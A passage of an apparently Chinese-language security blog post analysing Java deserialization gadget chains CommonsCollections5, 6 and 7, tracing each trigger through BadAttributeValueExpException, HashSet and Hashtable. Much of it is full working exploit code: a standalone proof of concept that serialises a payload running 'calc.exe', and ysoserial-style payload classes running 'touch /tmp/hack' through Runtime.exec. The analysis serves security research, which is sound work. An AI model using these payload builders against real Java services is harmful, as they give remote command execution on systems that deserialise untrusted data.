queue.add(1);

// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;

return queue;
}

二者的区别是简化的是直接将paramTypes和args在初始化中直接赋值为了templates,原版则是先通过一个copied的数组,在数组里重新进行值的更改,来绕过yso里面SecurityManager的check。

(关于这个地方还是有点细节疑问吧 以后有时间碰到接着回来理顺一下)

CommonsCollections5

Gadget Chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Exploit Code

主要是换了一个触发点,后面的还是原来的思路

触发的地方还是LazyMap#get,接着往前回推调用get的地方

TiedMapEntry.class

1
2
3
public Object getValue() {
return this.map.get(this.key);
}

如何将this.map赋为LazyMap就接上了之前的调用,接着找下getValue的调用

1
2
3
public String toString() {
return this.getKey() + "=" + this.getValue();
}

接下来寻找toString的调用,java的toString和php类似,在对象被当作字符串调用时,触发toString方法

BadAttributeValueExpException.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
   private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}

取出val变量,进行一系列字符串操作,如果我们把这个val变量设置为TiedMapEntry类的话,在程序运行到if(valObj == null)的时候就会触发toString,完成一系列调用,不过这个val变量是私有的,需要通过反射来进行设置变量,

调用链

  • 通过取出val中的TiedMapEntry
  • 触发toString函数
  • 触发getValue函数
  • 触发this.map.get(this.key) Map类为lazymap,key随意
  • 触发this.factory.transform(key),factory为ChainedTransformer类
  • 最终执行命令

最终完整poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package demo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test implements Serializable{

public static void main(String[] args) throws Exception
{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "lih3iu");

BadAttributeValueExpException ins = new BadAttributeValueExpException(null);

Field valfield = ins.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(ins, entry);

ByteArrayOutputStream exp = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush();
oos.close();

ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject();
ois.close();
}
}

CommonsCollections6

Gadget Chain

1
2
3
4
5
6
7
8
9
10
11
12
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

Exploit Code

与上面的CommonsCollections5对比来讲,主要是换了下前面的触发点,在链5中是通过toString函数触发的,在链6里面是通过hashcode触发

跟进hashcode方法

1
2
3
4
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

再次往回推 哪里调用了hashCode方法

跟进HashMap#hash

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

可以看到这里会调用传入对象的hashCode方法,再次跟进调用hash函数的方法

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

跟进HashSet#put

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();

// Read capacity and verify non-negative.
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}

........
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

通过readObject来读取值并且传入map.put函数中,完成之后的一切调用

来看下writeObject是如何写入值的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();

// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());

// Write out size
s.writeInt(map.size());

// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}

通过读取map的key来进行写入,所以我们需要做的就是将map的key进行我们需要设置的相关类。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {

public Serializable getObject(final String command) throws Exception {

final String[] execArgs = new String[] {"touch /tmp/hack"};

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

Transformer transformerChain = new ChainedTransformer(transformers);

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}

Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

Reflections.setAccessible(keyField);
keyField.set(node, entry);

return map;

}

CommonsCollections7

Gadget Chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Payload method chain:

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

Exploit Code

和前面的链后面也都是一样的,只是换了下前面LazyMap#get的触发方式

AbstractMap#equal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<K,V> m = (Map<K,V>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

将触发点单拿出来

1
if (!value.equals(m.get(key)))

如果在将m赋值为LazyMap的情况下,就可以触发LazyMap#get了

接着去跟进下equals的调用

Hashtable#reconstitutionPut

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}

而在Hashtable的readObject方法中有reconstitution的调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
    private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the threshold and loadFactor
s.defaultReadObject();

// Validate loadFactor (ignore threshold - it will be re-computed)
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new StreamCorruptedException("Illegal Load: " + loadFactor);

// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();

// Validate # of elements
if (elements < 0)
throw new StreamCorruptedException("Illegal # of Elements: " + elements);

// Clamp original length to be more than elements / loadFactor
.....
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}

再跟进下writeObject看是如何进行写入的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
Entry<K, V> entryStack = null;

.....
// Stack copies of the entries in the table
for (int index = 0; index < table.length; index++) {
Entry<K,V> entry = table[index];

while (entry != null) {
entryStack =
new Entry<>(0, entry.key, entry.value, entryStack);
entry = entry.next;
}
}
}

// Write out the key/value objects from the stacked entries
while (entryStack != null) {
s.writeObject(entryStack.key);
s.writeObject(entryStack.value);
entryStack = entryStack.next;
}
}

逻辑为读取当前hashtable中的key/value给entryStack,然后再从entryStack中拿key/value进行写入

所以我们的exp的主要逻辑就是通过put方法将hashtable中的key/value设置好就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<Hashtable> {

public Hashtable getObject(final String command) throws Exception {

// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"touch /tmp/hack"};

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

return hashtable;
}

Questions

1.为什么要放两个lazyMap以及为什么要put一个yy和一个zz

跟进反序列化的过程

aTBjbV.png

可以看到在第一次循环的过程,tab为空,在最后会将当前的key/value传入tab,下次中再进行使用,所以为了下次可以正常使用tab中的值,我们必须是的传入的key经过hash函数后的值相同,这同样也是为什么我们要传yy和Zz的原因

aTreLq.png

2.在最后为什么要remove掉yy这个key

在exp中我们调用了Hashtable#put,同样代码也进入了equals

首先在这里得到key

aT28SO.png

跟进get传值

aTgKG8.png

所以会把yy这个键值对放入当前的map,这样会造成在反序列化中两个LazyMap的hashcode不相同,所以要将yy这个键值对remove

Final

对于Commons Collections<=3.2.1:

可用的链为1,3,5,6,7。

对于Commons Collections 4.0:

可用的链为2,4。

大多数链的触发流程其实还是差不多了,无非是换了一些触发点和最后的一些恶意代码触发方法,同样,也可以自己试试挖掘下新的CommonCollections的gadget。